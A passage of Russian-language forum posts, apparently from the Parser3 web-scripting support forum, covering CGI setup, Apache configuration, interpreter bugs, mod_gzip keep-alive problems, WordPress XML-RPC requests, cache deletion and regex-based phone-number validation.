\
ldd parser3.cgi что выдает? Откуда бинарник?"
"70737","по умолчанию \
владелец root группа root\
права rwx r-x r-x"
"70738","Заодно попробуйте дать группе права на запись.\
\
p.s. А от рута запускать сервер и Парсер это крайне плохо."
"70740","[code]NameVirtualHost *\
<VirtualHost *>\
        ServerAdmin webmaster@localhost\
\
        DocumentRoot /var/www/\
        <Directory />\
                Options FollowSymLinks\
                AllowOverride All\
        </Directory>\
        <Directory /var/www/>\
                Options Indexes FollowSymLinks MultiViews\
                AllowOverride All\
                Order allow,deny\
                allow from all\
        </Directory>\
\
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/\
        <Directory \"/usr/lib/cgi-bin\">\
                AllowOverride All\
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch\
                Order allow,deny\
                Allow from all\
        </Directory>\
\
        ErrorLog /var/log/apache2/error.log\
\
        # Possible values include: debug, info, notice, warn, error, crit,\
        # alert, emerg.\
        LogLevel warn\
\
        CustomLog /var/log/apache2/access.log combined\
        ServerSignature On\
\
    Alias /doc/ \"/usr/share/doc/\"\
    <Directory \"/usr/share/doc/\">\
        Options Indexes MultiViews FollowSymLinks\
        AllowOverride All\
        Order deny,allow\
        Deny from all\
        Allow from 127.0.0.0/255.0.0.0 ::1/128\
    </Directory>\
\
</VirtualHost>[/code]"
"70742","#ldd parser3.cgi\
parser3.cgi:\
        libcrypt.so.2 => /usr/lib/libcrypt.so.2 (0x281a1000)\
        libm.so.2 => /usr/lib/libm.so.2 (0x281ba000)\
        libc.so.4 => /usr/lib/libc.so.4 (0x281d5000)\
\
бинарник отсюда: http://www.parser.ru/download/freebsd/\
конкретно: http://www.parser.ru/f/1/download/freebsd/parser3_3_0_freebsd411R_cgi.tar.gz"
"70743","да, без этого работает"
"70744","Вообще странно - и тут и там .11, но несовместимость налицо - возможно у вас пересобрано только ядро, а библиотеки \"старые\".\
\
Так что качать исходники и запускать buildall-with(out)-xml - вероятно это будет самым простым решением проблемы."
"70745","Падает на линуксе собранный из репозитория, падает виндовый бинарник с сайта:\
[i]Premature end of script headers (linux)[/i]\
и\
[i]Unhandled exception 0xC0000005 at 0x00434D8C (win)[/i]\
\
Вызов:\
[code]^reflection:create[class_name;constructor_name][/code]\
\
При отсутствии класса или конструктора в классе ругается соответствующими ошибками, т.е. частично работает:-)\
\
\
Остальные методы класса reflection работают (при поверхностном тестировании)."
"70746","У меня на FreeBSD проблемы с этим методом нет - используется в нескольких местах очень активно."
"70747","[code]@main[]\
^use[a.class]\
\
@autouse[sClassName]\
^throw[autouse;$sClassName][/code]\
Всё окей, вызова autouse не приходит.\
\
Если же в класс \"a\" добавить:\
[code]@OPTIONS\
partial[/code]\
из use попадаем в autouse -> throw, который сообщает имя якобы неподключённого класса. Но при этом класс подключается и вызов его методов/конструкторов работает (проверяется комментированием throw в autouse). \
Такое поведение -- баг или фича?"
"70748","[code]\
@main[]\
  $var[^someClass::create[]]\
\
@autouse[aClassName]\
  ^if($aClassName eq \"someClass\"){\
    ^use[someClass.p]\
  }\
[/code]\
\
В вашем случае поведение с partial классом больше похоже на баг, но сам по себе код не особо корректен."
"70749","Прекрасно понимаю для чего нужен autouse:-)\
Не радует лишний (ли?) его вызов."
"70750","Библиотекой не пользовался из-за отсутсвия поддержки Parser. Теперь можно будет посмотреть."
"70752","[code]@main[]\
^use[test.p]\
$oTest[^reflection:create[test;create]]\
\
\
@CLASS\
test\
\
@create[]\
$self.now[^date::now[]][/code]\
\
процессится динамический вызов конструктора без проблем, reflection падает.\
\
На всякий случай добавлю, что linux и win 64-битные, весь функционал парсера работает без проблем."
"70753","спс, какнить попробую"
"70755","http://www.parser.ru/docs/lang/ в Хроме - не работает левый фрейм"
"70763","[url=\"http://dev.chromium.org/getting-involved/dev-channel\"]Chrome Dev Channel[/url]"
"70767","забыл включить в changelog важную информацию о том, что теперь нельзя наследоваться от системных классов (что в прочем раньше работало с горем пополам). это конечно неприятно, не не страшно, т.к. имея @GET_DEFAULT и @GET можно написать wrapper-ы (сделаю примеры)"
"70768","Возможно бага парсера, возможно моя или хостера. Но тем не менее, может кому поможет\
\
Кратко - при попытке запросить страницу с keep-alive получаем timeout. Лечится установкой mod_gzip_on No\
\
Полно - тут [url=\"http://begemotov.net/creator/my-work/parser-keep-alive-i-mod_gzip/\"]Parser, keep-alive и mod_gzip[/url]. \
\
Если кто знает в чем дело, с удовольствием послушаю."
"70770","Ну со страницами которые обрабатываются php - проблем нет, вот и я подумал что это не простое совпадение..."
"70771","... это фича исключительно веб-сервера, поскольку cgi-приложение никакие соединения не обслуживает. Также очевидно, что в HTTP/1.0 ни о каком keep-alive речи идти не может - это фича появилась в 1.1. Так что это бага апача, а скорее всего одного из дополнительных модулей (видимо, как вы и определили mod_gzip).\
\
p.s. На первом Апаче лучше себя показал модуль mod_deflate Игоря Сысоева (правда в форуме в свое время писали, что и с ним не все гладко, но у меня до сих пор никаких проблем нет)."
"70772","Ну, в чем дело было 4 года назад (http://www.parser.ru/forum/?id=40319) - примерно понятно, это явная бага mod_gzip, не понявшего заголовок content-length, хотя по RFC \"Field names are case-insensitive\".\
\
Что происходит сейчас, сказать сложнее - keep-alive к cgi скриптам отношения не имеет, обрабатывается веб-сервером. Если с тем же php не в виде модуля, а cgi скрипта проблемы не будет - можно попробовать поизучать."
"70773","Странно, у мне все нормально на Хроме"
"70775","так покопался еще, про http1.0 и keep-alive это я действительно погорячился. Все тоже самое происходит и при режиме http1.1.\
\
Почему я все-таки грешу на парсер, потому что  \
1. страницы обрабатываемые парсером получить НЕ удается.\
2. страницы обрабатываемые php получить удается.\
3. статику получить удается.\
Может конечно виноват не парсер, но закономерность странная...\
\
+ проблему я решил благодаря вот [url=\"http://www.parser.ru/forum/?id=40319\"]этому моему посту 4 летней давности и ответам на него[/url] \
тоже проблема была в связке парсера и mod_gzip."
"70776","Похоже mod_gzip так и не научился нормально понимать заголовок \"content-length\" маленькими буквами. Парсер все http-заголовки выдает в нижнем регистре.\
\
Причем такое поведение Парсера (которое не нарушает стандарт) имеет положительную сторону, например, если Апач стоит за реверсивным прокси, то можно понять какие заголовки пришли прямо от Парсера, а какие от прокси или основного веб-сервера:\
[code]\
HTTP/1.1 200 OK\
Server: nginx/0.7.61\
Date: Fri, 28 Aug 2009 04:08:26 GMT\
Content-Type: text/html; charset=UTF-8\
Connection: keep-alive\
Keep-Alive: timeout=20\
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate\
pragma: no-cache\
content-length: 9386\
Content-Language: ru\
[/code]"
"70777","[quote]Похоже mod_gzip так и не научился нормально понимать заголовок \"content-length\" маленькими буквами.[/quote]\
\
Может тогда это в инструкцию по установке?"
"70779","... сообщить админу об этой проблеме и попросить подумать о переходе на более корректные модули ([url=http://sysoev.ru/mod_deflate/]mod_deflate[/url], который в добавок еще и ресурсы сервера тратит в меньшем объеме), поскольку данная проблема может возникнуть у любого cgi-скрипта."
"70780","Недавно был приятно удивлен процессом установки в WordPress. Увы, система так и не заработала, но идея мне очень понравилась:\
В отличие от парсера, большинство хостеров сразу поддерживают выполнение php-файлов. Если б сделать установку Парсера на PHP, это упростило бы процесс за счет автоматизации самой трудной части - установки атрибутов. В самом деле, почему бы и не chmod(\"../cgi-bin/parser3\", 0755)?\
\
Для того, кто возьмется, предлагаю следующее ТЗ:\
\
Один файл www/install_parser3.php\
При обращении к нему проверяет среду (ОС).\
Если это *nix, то последовательно проверяет наличие parser3.cgi и parser3 в директориях ../cgi-bin/, ../cgi/, /cgi-bin/, /cgi/\
при обнаружении пишет сообщение вида \"Парсер найден по адресу ..../parser3\" и результат выполнения chmod на найденном файле с описанием ошибки, если таковая возникла.\
переименовывает себя в install_parser3.bak и выполняет редирект уже на парсерный скрипт, который обеспечивает дальнейшую установку."
"70781","пересобрал.\
понадобилось два пинка:\
1) в скрипте  $Id: buildall-with-xml,v 1.24 2008-08-15 16:40:13 misha Exp $\
 заменил wget на fetch \
2) 0/src/classes/image.C пришлось собирать \"вручную\" без -O2\
\
вроде заработало как надо.\
спс."
"70783","Сам инсталлятор парсера очень простой - скопировать сам парсер и да и все. Аттрибуты поставить - ровно одна команда. \
\
Плюс настройка sql - тут можно попробовать написать скрипт облечающий настройку (поиск либы в системе, проверка версии, модификация файла конфига).\
\
И вобщем-то все. Остальные проблемы тривиальный скрипт не решит.\
Для диагностики есть уже хороший _test.html.\
\
Мне кажется, максимум - это консольный (хотя можно сделать и веб-версию) скрипт-визард, который смотрит платформу (uname), спрашивает подтверждения, потом спрашивает нужный конфиг (с XML/без/нужные драйверы к бд), смотрит в системе либы, спрашивает/проверяет пути, права, и т.д. после чего wget'ом тянет нужный бинарник и сразу делает коректный конфиг-файл.\
\
По-моему проще уже будет некуда. Хотя и сейчас все просто, а проблемы которые возникают со сборкой парсера из исходников - они слишком специфичны. \
Практически все что можно уже сделано в build*.sh.\
\
Если действительно это кому-то нужно, могу попробовать накидать такой скрипт, как приеду из отпуска."
"70785",", а там в роли доброй тётушки выступает как раз PHP. Возможно, кстати и Perl - не помню, *.pl требует выставления атрибутов? Если нет, то потянет. А вот как вызвать http://ваш-сайт.ру/script.sh - даже не знаю...\
\
В общем, установка php состоит из 0 этапов. Парсера - из 3: залить Парсер, залить .htaccess (о, кстати, инсталлятор должен еще его создать, если нет), проставить атрибуты. Это сильно много, но к счастью, можно оптимизировать."
"70786","Скопировать несколько файлов и выставить настройки занимает минуты 2-3. И если пользователь планирует в дальнейшем использовать Парсер, то ему всё-равно придётся ознакомиться с этой процедурой.\
\
Пример с вордпресс считаю вообще неудачным. Там инсталятор действительно оправдан, т.к. изначально расчитан не на программистов, а на блоггеров."
"70788","установка занимает минуты, дальнейшая разработка -- недели.\
смысла делать что-то, что уменьшит время установки с 5 минут до 3 я вижу не много.\
\
более того, возможна ситуация, когда написанный скрипт с задачей не справится, в этому случае потеряно будет больше времени, чем сэкономлено за все предыдущие разы, ihmo (т.к. тот, кто с этим столкнётся не будет вообще представлять последовательность шагов по установке).\
\
понятно, что если кто-то хочет этим позаниматься -- я не имею возражений, занимайтесь на здоровье :)"
"70789","В свое время я месяцев на 5 задержался с освоением парсера, поскольку не имел представления о никсовых атрибутах и что с ними делать. Благо, альтернативы были.\
Т.е. сравнение \"3 минуты vs 3 недели\" некорректно. Правильнее - асфальтировать ли дорожку к Парсеру на развилке или сойдет гравийка с буреломом?\
В Акткре я ессно, уже сделал install.php, но вариант этот - только для Актара."
"70791","Поймите, я не призываю бежать за \"вселенной, которая рождает всё более тупых юзеров\". \
test.html ведь сделали! А можно было и без него."
"70792","Доброго. Пытаюсь отправлять данные в wordpress через xml-rpc. \
\
[code]\
$sections[^table::load[/000.txt]] \
\
$Body[<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<methodCall>\
<methodName>metaWeblog.newPost</methodName>\
  <params>\
    <param>\
<value><int>1494720</int></value>\
</param>\
<param>\
<value><string>admin</string></value>\
</param>\
<param>\
<value><string>123</string></value>\
</param>\
<param>\
<value><struct>\
<element><name>title</name>\
<value><string>$sections.title</string></value>\
</element>\
<element><name>description</name>\
<value><string>0</string></value>\
</element>\
</struct></value>\
</param>\
\
<param>\
<value><boolean>1</boolean></value>\
</param>\
  </params>\
</methodCall>]\
\
$file[^file::load[binary;http://w/xmlrpc.php][\
		$.method[POST]\
		$.timeout(60)\
		$.headers[\
			$.Content-type[application/x-www-form-urlencoded]\
\
			$.Content-length[^Body.length[]\
\
$Body]\
		]\
	]\
]\
\
\
\
$file.text\
\
\
\
\
[/code]\
\
Но столкнулся с такой проблемой, что до ворпресса доходит строка вида \"%D1%82%D0%B5%D1%81%D1%82%D0%BE%D0%B2%D0%B0%D1%8F%20%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B0%20%D0%B2%20utf-8\", а если прописать не в виде переменой \
[code]\
<value><string>тестовая строка в utf-8</string></value>\
[/code]\
\
то wordpress прекрасно понимает, и отображает верно. \
\
содержание файла 000.txt\
[code]\
title\
тестовая строка в utf-8\
[/code]\
\
тестовый html и 000.txt сохранены в utf-8\
\
в главном auto.p написано:\
\
[code]\
@auto[]\
#source/client charsets\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
\
Подскажите пожалуйста в какую сторону начать копать, мои мысли кончились."
"70793","для начала уберите content-length, передайте body как положено и сообщите, какую версию парсера вы используете.\
\
ну и до кучи опишите, что по вашему мнению должно туда приходить, и что вы делаете, когда \"если прописать не в виде переменой\""
"70794","к сожалению я не знаю как правильно передавать body, не могли бы вы подсказать? Версия парсера, последняя скаченная с сайта 3.3.0\
\
То есть конструкцию вида:\
[code]\
<value><string>$sections.title</string></value>\
[/code]\
\
Заменить на:\
\
[code]\
<value><string>тестовая строка</string></value>\
[/code]\
\
\
То все прекрасно приходит и отображается как надо."
"70796","приведённый вами код содержит явную ошибку, если бы она была в вашем реальном коде, он не работал бы вообще (строка, о которой вы говорите, никогда в жизни не передалась бы удалённому серверу). т.е. говоря о body я просил привести реальный, работающий код.\
\
теперь про кодирование: я понял в чем проблема, и фан в том, что то, как у вас сейчас работает -- это баг версии 3.3.0, и в версии 3.4.0 он будет исправлен.\
\
то, что вы хотите и то, что вы делаете не соответствует друг другу.\
о чем вы думали, когда писали эту строку:\
[code]\
$.Content-type[application/x-www-form-urlencoded]\
[/code]\
?\
\
эта строка вообще-то и говорит парсеру о том, чтобы он заэскейпил символы (%D1%82...)\
\
если вам этого не нужно, зачем вы её писали?\
\
однако даже если бы вы её не написали, это у парсера значение по умолчанию, т.е. в вашем случае вам надо написать там что-то иное.\
\
что? я не знаю, т.к. не знаком с wordpress и не знаю в том числе почему он не смог переварить этот, самый стандартный способ кодирования запроса.\
\
резюме (к тому, что я писал выше): разберитель какой запрос от вас ожидает wordpress и сформируйте его, выдав корректный content-type. с кодировками я тут проблем не вижу."
"70797","1. p3runConfigure падает с ошибкой, т.к. не может найти \"$P3S/lib/pcre/libpcre.a\"\
Решается указанием правильно пути к собранной библиотеке pcre. Такое происходит, по-моему, с момент перехода на standalone pcre.\
\
2. во время make апача с модулем \"pa_httpd.h: No such file or directory\". Приходится руками копировать файл в папку extra-модулей апача."
"70798","Задача такая:\
Сформировать при помощи паксера документ и распечатать.\
НО! не все так просто! \
Документ нужно сформировать так чтобы была возможность самому вставлять разрыв страницы для печати(а не браузер)\
Формат файла может быть любой (doc, rtf, pdf).\
Самый идеальный вариант это: парсер формирует doc документ, браузер его открывает для редакции(уже разбытым на страницы), пользователь меняет пару буков и печатает.\
\
В общем мне нужен контроль над тем как печатается документ."
"70799","Вопрос к знатокам *nix-систем, а скорее к разработчикам парсера:\
\
у меня чёткая схема кеширования: файлы на диске сохраняются по принципу \"раздел сайта = папка на диске\". Ну, это в упрощённом представлении. Удаляю кеш через вызов консольного \"rm -rf\" с передачей путей к файлам/папкам.\
\
[b]Интересует вот что[/b]: когда парсер читает файл кеша и в этот же момент вызывается системная команда удаления -- будет ли конфликт и \"падение\" парсера или во время чтения на файле ставится какой-либо флаг на отложенную модификацию/удаление?"
"70800","[url=\"http://www.w3.org/TR/CSS2/page.html#page-breaks\"]Page breaks[/url]"
"70802","при чтении файла кеша парсером ставится блокировка, т.е. внешний скрипт его удалить не сможет до снятия блокировки.\
\
я встречался с проблемой невозможности очистить таким образом кеш на нагруженных системах, т.к. постоянно кто-то блокирует файлы на чтение/запись.\
\
приходилось делать mv каталога и лишь после этого удалять его (сразу после mv новые генерящиеся файлы создаются уже в другом месте и не мешают удалению)."
"70803","пока доделываем то, что было запланировано нами."
"70806","Спасибо, тоже вариант. Но хотелось бы развитие темы. Например формирование pdf документа или rtf."
"70807","http://xmlgraphics.apache.org/fop/\
\
Хорошее решение, которое позволяет преобразовывать XML-файлы в PDF, RTF и пр."
"70808","Добрый день. Помогите, пожалуйста разобраться. Голову сломал. \
Птаюсь адаптировать пример для класска JSHttpRequest для своих нужд, попутно разбираясь в тонкостях класса. Но наткнулся на странную вещь, которую не могу понять. \
Есть код:\
[code]###########################################################################\
@auto[]\
$dDate[^date::now[]]\
$tMethod[^table::create{name	\
	\
get	\
post	}\
]\
\
$tLoader[^table::create{name	\
	\
xml	\
script	\
form	}\
]\
\
\
###########################################################################\
    <form style=\"padding:2px\" enctype=\"multipart/form-data\"> \
        <h3>Whole form sending</h3> \
        Text: <input type=\"text\" name=\"q\" value=\"1251803214\">\
		<input type=\"hidden\" name=\"werty\" value=\"asdfasdfasdfasd\">\
		<i>Type \"error\" to show debug capabilities.</i><br>\
        File: <input type=\"file\" name=\"file\"><br> \
		<input type=\"button\" onclick=\"request('form', 'post', this.form, 'custom data!')\" value=\"form\"> \
		<input type=\"image\" src=\"../images/test_button.jpg\" onClick=\"request('form', 'post', this.form, 'custom data!')\"> \
    </form> \
\
[/code]\
\
И скрипт\
[code]\
@js[sLoaderUri]\
<script> \
    // Called on button press. \
    function request(loader, method, data, data2) { \
        // Create new JsHttpRequest object. \
        var req = new JsHttpRequest(); \
        // Code automatically called on load finishing. \
        req.onreadystatechange = function() { \
            if (req.readyState == 4) { \
                if (req.responseJS) { \
                    // Write result to page element.  \
                    document.getElementById('result').innerHTML =  \
                        '<b>MD5(\"'+(req.responseJS.q||'')+'\")</b> = ' + \
                        '\"' + (req.responseJS.md5||'') + '\"<br> ' + \
                        '<b>Session data:</b> ' +  \
                        '\"' + (req.responseJS.hello || 'unknown') + '\"<br>'; \
                } \
                // Write debug information too. \
                document.getElementById('debug').innerHTML = req.responseText; \
            } \
        } \
        // Allow caching (to avoid different server queries for  \
        // identical input data). Caching is always disabled if \
        // we are uploading a file. \
        req.caching = false; \
        // Prepare request object. \
        req.loader = loader; \
        req.open(method, '$sLoaderUri', true); \
        // Send data (random JavaScript hash). \
        var data = {  \
            q: data,  \
            test: {  \
                'time': new Date().getTime(),  \
                'data2': data2  \
            } \
        }; \
\
        if (data2 == null) delete data.test.data2; \
        req.send(data); \
    } \
</script>\
\
[/code]\
\
\
Т.е. я хочу вместо кнопки, отправлять форму image'м.\
<input type=\"button\" onclick=\"request('form', 'post', this.form, 'custom data!')\" value=\"form\">\
<input type=\"image\" src=\"../images/test_button.jpg\" onClick=\"request('form', 'post', this.form, 'custom data!')\"> \
\
Но по кнопке все отправляется, а по image - нет. В чем может быть загвоздка?"
"70809","[quote]при чтении файла кеша парсером ставится блокировка, т.е. внешний скрипт его удалить не сможет до снятия блокировки.[/quote]\
\
Это только на Windows так. На Unix блокировки \"опциональны\" и не мешают чему бы то ни было (программа может их не проверять).\
\
Падать конечно все равно не будет - ls понятно ничего не покажет сразу, но фактически файл удаляется после закрытия."
"70811","Я упростил до минимума и этот файл и обработчик. \
Вот что получилось:\
[code]\
###########################################################################\
@auto[]\
###########################################################################\
@main[]\
<html> \
<head></head> \
<body> \
<script type=\"text/javascript\" language=\"JavaScript\" \
  src=\"^file:find[JsHttpRequest.js]\"></script>\
^js[^file:find[_js_http_request_load.html]?static=abc]\
 \
\
 \
    <form style=\"padding:2px\" enctype=\"multipart/form-data\"> \
       \
        Text: <input type=\"text\" name=\"q\" value=\"1251803214\">\
		<input type=\"hidden\" name=\"werty\" value=\"-w-\">\
		<input type=\"hidden\" name=\"a\" value=\"_ok_\">\
		<i>Type \"error\" to show debug capabilities.</i><br>\
        \
		<input type=\"button\" onclick=\"request('form', 'post', this.form, 'custom data!')\" value=\"form\"> \
		<input type=\"image\" src=\"../images/test_button.jpg\" onclick=\"request('form', 'post', this.form, 'custom data!')\" value=\"form\"> \
    </form> \
\
<div id=\"result\" style=\"border:1px solid #000; padding:2px\"> \
     Result\
</div> \
<div id=\"debug\" style=\"border:1px dashed red; padding:2px\"> \
    Debug\
</div> \
\
</body> \
</html>\
\
\
@js[sLoaderUri]\
<script> \
    // Called on button press. \
    function request(loader, method, data, data2) { \
        // Create new JsHttpRequest object. \
        var req = new JsHttpRequest(); \
        // Code automatically called on load finishing. \
        req.onreadystatechange = function() { \
            if (req.readyState == 4) { \
                if (req.responseJS) { \
                    // Write result to page element.  \
                    document.getElementById('result').innerHTML = req.responseJS.a; \
                } \
                // Write debug information too. \
                document.getElementById('debug').innerHTML = req.responseText; \
            } \
        } \
        // Allow caching (to avoid different server queries for  \
        // identical input data). Caching is always disabled if \
        // we are uploading a file. \
        req.caching = false; \
        // Prepare request object. \
        req.loader = loader; \
        req.open(method, '$sLoaderUri', true); \
        // Send data (random JavaScript hash). \
        var data = {  \
            q: data  \
        }; \
         \
        req.send(data); \
    } \
</script>\
\
\
@postprocess[body] \
^taint[as-is][$body]\
[/code]\
\
И его обработчик\
[code]@main[]\
^use[^file:find[JSHttpRequest.p]{JSHttpRequest.p}]\
^try{\
#	&#228;&#229;&#234;&#238;&#228;&#232;&#240;&#243;&#229;&#236; &#239;&#240;&#232;&#248;&#229;&#228;&#248;&#232;&#229; &#228;&#224;&#237;&#237;&#251;&#229;. &#240;&#229;&#231;&#243;&#235;&#252;&#242;&#224;&#242; &#239;&#238;&#235;&#243;&#247;&#224;&#229;&#236; &#226; &#226;&#232;&#228;&#229; &#245;&#229;&#248;&#224;\
	$hRequest[^JSHttpRequest:decodeRequest[]]\
	^hRequest.werty.save[append;JSHttpRequest1.log]\
	^hRequest.a.save[append;JSHttpRequest1.log]\
\
	$hParserVariable[\
	   $.a[$hRequest.a]\
	]\
	\
	$sDebugMessage[$hRequest.werty]\
}{\
	$exception.handled(true)\
	$sDebugMessage[error]\
}\
\
^JSHttpRequest:printResponse[$sDebugMessage;$hParserVariable][/code]\
\
В таком виде, обработчик получает данные формы и записывает их в файл в обоих случаях. \
Но если нажимать на кнопь - выдает в result и debug поля формы, то если нажать на image - нет. \
Не понимаю что происходит. Если жать на image - данные приходят на обработчик, но ответ или не доходит обратно или игнорируется скриптом."
"70813","А если добавить, то все работает. СПАСИБО!"
"70814","Подскажите как сделать что бы из строки\
$str[мой phone +7961 140 и 28- 05]\
получить только (с помощью регулярных выражений)\
9611402805"
"70816","Действительно работает!\
\
Спасибо огромное!"
"70818","Сделал следующим образом\
[code]$phone[^form:phone.match[\\D+][g]{}]\
\
$error_flag(true)\
^if(^phone.length[]>=10 && ^phone.length[]<=12){\
	  ^if(^phone.length[]==11){\
		   ^if(^phone.mid(0;1)==8 || ^phone.mid(0;1)==7){\
			$phone[^phone.mid(1;10)]\
		   }{\
			$error_flag(false)\
		   }\
	  }\
	  ^if(^phone.length[]==12){\
		  ^if(^phone.mid(0;2)==78){\
			$phone[^phone.mid(2;10)]\
		  }{\
			$error_flag(false)\
		  }\
	  }\
}{\
	$error_flag(false)\
}\
\
^if(!$error_flag){$error[Введите корректный номер]}[/code]\
[b]Всем спасибо[/b]"
"70819","- у вас не обрабатывается ситуация с length=10\
- все эти сравнения length можно заменить одним switch-ем\
- mid(0;x) будет смотреться лучше после замены на left(x)\
- mid(x;до конца строки) можно писать просто mid(x)"
"70820","[code]\
$phone[^form:phone.match[\\D+][g]{}]\
$error_flag(true)\
  ^if(^phone.length[]>=10 && ^phone.length[]<=12){\
	  ^switch[^phone.length[]]{\
		 ^case[11]{\
			^if(^phone.left(1)==8 || ^phone.left(1)==7){\
				$phone[^phone.mid(1)]\
			}{\
				$error_flag(false)\
			}\
		 }\
		 ^case[12]{\
			^if(^phone.left(2)==78){\
				$phone[^phone.mid(2)]\
			}{\
				$error_flag(false)\
			}\
		 }\
		 ^case[10]{\
			^if(^phone.left(1)!=9{\
				$error_flag(false)\
			}		 	\
		 }\
	  }\
  }{\
	$error_flag(false)\
  }\
\
  ^if(!$error_flag){$error[Введите корректный номер]}[/code]\
[b]Спасибо [i]Misha v.3[/i] , так код действительно стал более читаемым (к сложелению пока ещё не очень научился его грамотно писать)[/b]"
"70821","а зачем оставили это:\
[code]\
^if(^phone.length[]>=10 && ^phone.length[]<=12){\
[/code]\
\
^case[DEFAULT] прекрасно сделает 'else'\
\
и я бы по умолчанию сбросил-бы флаг ошибки, а когда надо -- устанавливал-бы его. все if-ы внутри case-ов стали бы проще (без else). или вообще бы обошелся без этого флага: $phone[]"
"70822","Пардон, поторопился\
[code]\
$error_flag(false)\
^switch[^phone.length[]]{\
   ^case[11]{\
	  ^if(^phone.left(1)==8 || ^phone.left(1)==7){\
		  $phone[^phone.mid(1)]\
		  $error_flag(true)\
	  }\
   }\
   ^case[12]{\
	  ^if(^phone.left(2)==78){\
		  $phone[^phone.mid(2)]\
		  $error_flag(true)\
	  }\
   }\
   ^case[10]{\
	  ^if(^phone.left(1)==9){\
		  $error_flag(true)\
	  }\
   }\
   ^case[DEFAULT]{$error_flag(false)}\
}[/code]"
"70825","Собственно вот что получилось еще вчера, но почему-то не мог добавить запись\
[code]$error_flag(false)\
^switch[^phone.length[]]{\
   ^case[11]{\
	  ^if(^phone.left(1)==8 || ^phone.left(1)==7){\
		  $phone[^phone.mid(1)]\
	  }\
   }\
   ^case[12]{\
	  ^if(^phone.left(2)==78){\
		  $phone[^phone.mid(2)]\
	  }\
   }\
}\
\
  ^if(^phone.length[]!=10 || ^phone.left(1)!=9){$error[Введите корректный номер]}[/code]"
"70826","вообще не вижу никакой проблемы с печатью. Готовите обычный html, разрывы ставятся средствами css, подробно описано в спецификации. Также вам потребуется 2 css; в одном пропишите стили для экрана, в другом для принтера. Ну и собственно все. Вызов по javascript: window.print\
\
вот для примера http://www.2men.ru/weather/"
"70827","[code]$phone[^form:phone.match[\\D+][g]{}]\
^if(^phone.match[(?:\\+[7|8])?\\d{9,10}]){истина}{ложь}[/code]"
"70829","Проблема  у меня вот в чём: выполняю первый урок (создание навигации) и в браузере отображается не менюшка, а код парсера т.е ^navigation[]. Сам парсер на функционирование проверила, всё ок.\
В файле parser3.log пишется следующее:\
[Fri Sep 04 00:20:53 2009] [3776] /: z:/home/rezume/www/index.html(18:2): 'navigation' undefined method [parser.runtime] [uri=/, method=GET, cl=0]\
\
В чём ошибка?"
"70831","вот так вызываю: ^navigation[]"
"70832","весь код вот такой:\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\">\
<head>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\" />\
<title>Это пробная страничка для парсера</title>\
</head>\
\
<body>\
^navigation[] \
</body>\
</html>"
"70834","Все правильно. Метод не определен. Вы пытаетесь вызвать несуществующий метод. \
Добавте пару строк\
[code]@navigation[]\
Какой-то текст[/code]"
"70835","если вы в браузере видите ^navigation[] -- это означает, что парсер не назначен обработчиком страниц. при этом ошибки, как у вас в логе быть не может.\
\
если вы в браузере видите ошибку, и при этом появляется приведённая запись в логе -- то парсер не смог найти метод navigation, а вы не рассказали, где именно вы его определили (ответ \"как сказано в уроке\" -- не принимается)"
"70836","у меня получается так:\
если я в браузере открываю файл z:/home/rezume/www/index.html через меню Файл - Открыть файл, то в браузере вижу ^navigation[] (получается Парсер не назначен обработчиком страниц)\
\
а если я вызываю по адресу : http://rezume/\
то пишет\
[i]Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/i]\
\
и в файле parser3.log появляется запись:\
[Fri Sep 04 16:03:49 2009] [3248] /: z:/home/rezume/www/index.html(18:2): 'navigation' undefined method [parser.runtime] [uri=/, method=GET, cl=0]\
\
Метод @navigation[] определяю в файле auto.p:\
[code]@navigation[]				\
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{		\
      <td align=\"center\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>[/code]\
файл sections.cfg содержит таблицу \
\
Делаю проверку: назначен ли Парсер обработчиком страниц:\
в браузере ввожу:\
http://rezume/cgi-bin/parser3.exe\
получаю:\
Parser/3.3.0 (compiled on i386-pc-win32)\
теперь проверяю файл .htaccess, вписываю неверную инструкцию:\
[code]mytest\
\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3.exe\
\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>[/code]\
\
 выдаёт 500-ую ошибку и заносит в файл error.log след.запись:\
[Fri Sep 04 16:26:29 2009] [alert] [client 127.0.0.1] z:/home/rezume/.htaccess: Invalid command 'mytest', perhaps mis-spelled or defined by a module not included in the server configuration\
\
Опять же если я открываю файл через Файл- Открыть файл, то никакой ошибки не выдаётся"
"70837","http://rezume/ -- рулез.\
разбирайтесь почему у вас не находится фай auto.p. мы подсказать не можем, вы не сообщили, куда вы его поместили (а должен он быть рядом с файлом index.html)."
"70838","Большое вам спасибо, оказалось что auto.p  у меня не там  где ему должно быть.\
faq прочитала частично \
ушла читать всё :)"
"70840","я кладу в /cgi-bin/ parser3.cgi (fbsd 6.x) и при прямом обращении\
http://domen.ru/cgi-bin/parser3.cgi -- Internal Server Error\
\
не знаете в чём может быть причина?"
"70843","обычно это означает что файл парсера заливался в текстовом режиме, а не бинарном.\
\
об этом подробно написано в faq"
"70852","Вопрошаю\
Хочу взять сервер с Dual Xeon-2.8 GHz\
\
Парсер(+xml +mysql) соберется? А главное будет ли работат Вот и я о том же хочу узнать!!!"
"70854","Задача: Сделать календарь, который выводил бы \"скользящий\" график работы в календаре. Например 2\\2 или 1\\3, или 1 дневная смена, 1 ночная, 2 выходных. С возможностью легко менять подсвечиваемые дни(если рабочие смены собьются.)\
\
Сделал очень коряво и негибко, потому-что пишу код очень редко. Подскажите как сделать правильно? :)\
\
